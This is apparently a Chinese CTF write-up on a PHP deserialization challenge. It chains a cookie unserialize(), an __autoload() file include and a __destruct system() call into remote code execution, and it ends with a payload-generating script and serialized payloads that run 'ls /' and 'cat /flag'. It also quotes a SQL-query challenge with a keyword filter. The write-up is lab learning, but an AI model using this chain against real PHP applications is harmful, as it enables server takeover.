初稿3.12日,
修改:4.7
没见过这个方法
。。
processlist这个表,班长说在mysql取证中有很大的作用
__autoload()
,在开发中那个方便include。不仅仅是在 new 一个新对象的时候有用。在反序列化出一个未定义的类的时候一样能够自动include这个同名的PHP文件,
unserializ_callback_func
还是什么,反序列化失败的时候,也会生成相应的 未定义的类的,和上面那个一结合,就这样了。。。
呃呃,想要进行好几次反序列化的时候,但是题目的突破点又只能进行一次,那么我们可以将这几个要反序列化的东西,放到一个数组中,反序列化,然后传入程序中,程序会将这一整个PHP数组反序列化,从而实现了我们 想要反序列化很多个东西的愿望!。。PHP将从左往右反序列化数组
include 'conn.php';
if(isset($_GET["query"])){
$query = $_GET["query"];
if(!is_string($query)){
die('give me a string ok?');
}
if(preg_match('/log|local|set|file/i', $query)){
die('no hack');
}
$result = $mysqli->query($query);
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("searched nothing");
}
if(in_array($query, $row)){
echo $secret;
}
$result->free();
$mysqli->close();
}else{
highlight_file('index.php');
}
?>
代码审计:
大佬
经过操作,得到源码
admin_test_class.php
class test
{
public $cmd = 'ls';
function __destruct(){
system($this->cmd);
}
}
function.php
function get_flag($cmd){
if($cmd === 1){
echo $flag;
}
}
function __autoload($classname){
require "./$classname.php";
}
?>
gO0d_j0b_f0r_you2333333.php
include 'config.php';
include 'function.php';
if(!isset($_COOKIE['user'])){
setcookie("user", serialize('ctfer'), time()+3600);
}else{
echo "hello";
echo unserialize($_COOKIE['user']);
}
function.php
这个是个幌子,反序列化没办法用到函数,只能够反序列化出对象来。
可以cookie的反序列化, 然后主要利用点是 __autoload()
这个自动加载类的函数,看PHPmanual就行,引入对象的时候会很方便。但是如果以此为需求牵引的话,这样需要include每个对象的名字恰巧是文件名,这样才能够使用。比如题目中的这个:
function __autoload($classname){
require "./$classname.php";
}
他是自动包含整个PHP文件,但是 admin_test_class.php中的类的名字是test啊。对不上口怎么办?
这样没办法一步反序列化出test类,同时include test.php
啊。。只能够分两步走了,先include admin_test_class.php
, 然后 反序列化test
类
而且这个题反序列化cookie,中有这个gO0d_j0b_f0r_you2333333.php
里面才有cookie。但是这个php中没有include 'admin_test_class.php'
。那么我们想要序列化出admin_test_class.php
中的test实例
的话,还需要includeadmin_test_class.php
才行。
这时候,这个就派上用场了!
function __autoload($classname){
require "./$classname.php";
}
你new
一个不存在的实例的时候,他会自动帮你include这个文件,
。然后你的实例化就成功了,那么这个我们是不是可以想:那我反序列化生成一个admin_test_class类,也会include ' admin_test_class.php' 呢?
.。。还真是。。
你直接反序列化出一个没有的类,对于__autoload()
的影响是一样的,他都会自动给你include
以这个类名为名的文件名,
那么这时候我们就成功include 这个文件了,那么再反序列化出test类就可以rce了。
下下来源码,然后再加一个experience.php:
<?php
include_once "function.php"; # 带上这个__autoload()函数
$a = unserialize('O:4:"test":1:{s:3:"cmd";s:2:"ls";}'); # 这个是我们想要反序列化的目标类
var_dump($a);
注: 是include_once。不然可能在实验的时候include两遍文件,,,坑死我了,,
报错了,没有这个文件,同时也就是说明了,反序列化出来的未定义的类__autoload()
也会进行require
。
那就来了嘛,
<?php
include_once "function.php";
$b = unserialize('O:16:"admin_test_class":1:{s:3:"cmd";s:2:"ls";}');
var_dump($b);
<?php
include_once "function.php";
$b = unserialize('O:16:"admin_test_class":1:{s:3:"cmd";s:2:"ls";}');
$a = unserialize('O:4:"test":1:{s:3:"cmd";s:3:"dir";}');
#var_dump($b);
RCE成功!
又有了一个小问题了。这个cookie只能够unserialize一次,那么我们要两次反序列化怎么办呢,
这个可以用数组进行反序列化,
就是先反序列化出 我们想要包含的那个 PHP 文件 同名的类,而后就正常反序列化我们想要的就好了
生成payload的脚本:
class admin_test_class{
public $name=1;
}
class test
{
public $cmd = 'ls /';
}
$b = new admin_test_class();
$a = new test();
echo serialize([$b,$a]);
a:2:{i:0;O:16:"admin_test_class":1:{s:1:"a";i:1;}i:1;O:4:"test":1:{s:3:"cmd";s:4:"ls /";}}
a:2:{i:0;O:16:"admin_test_class":1:{s:1:"a";i:1;}i:1;O:4:"test":1:{s:3:"cmd";s:9:"cat /flag";}}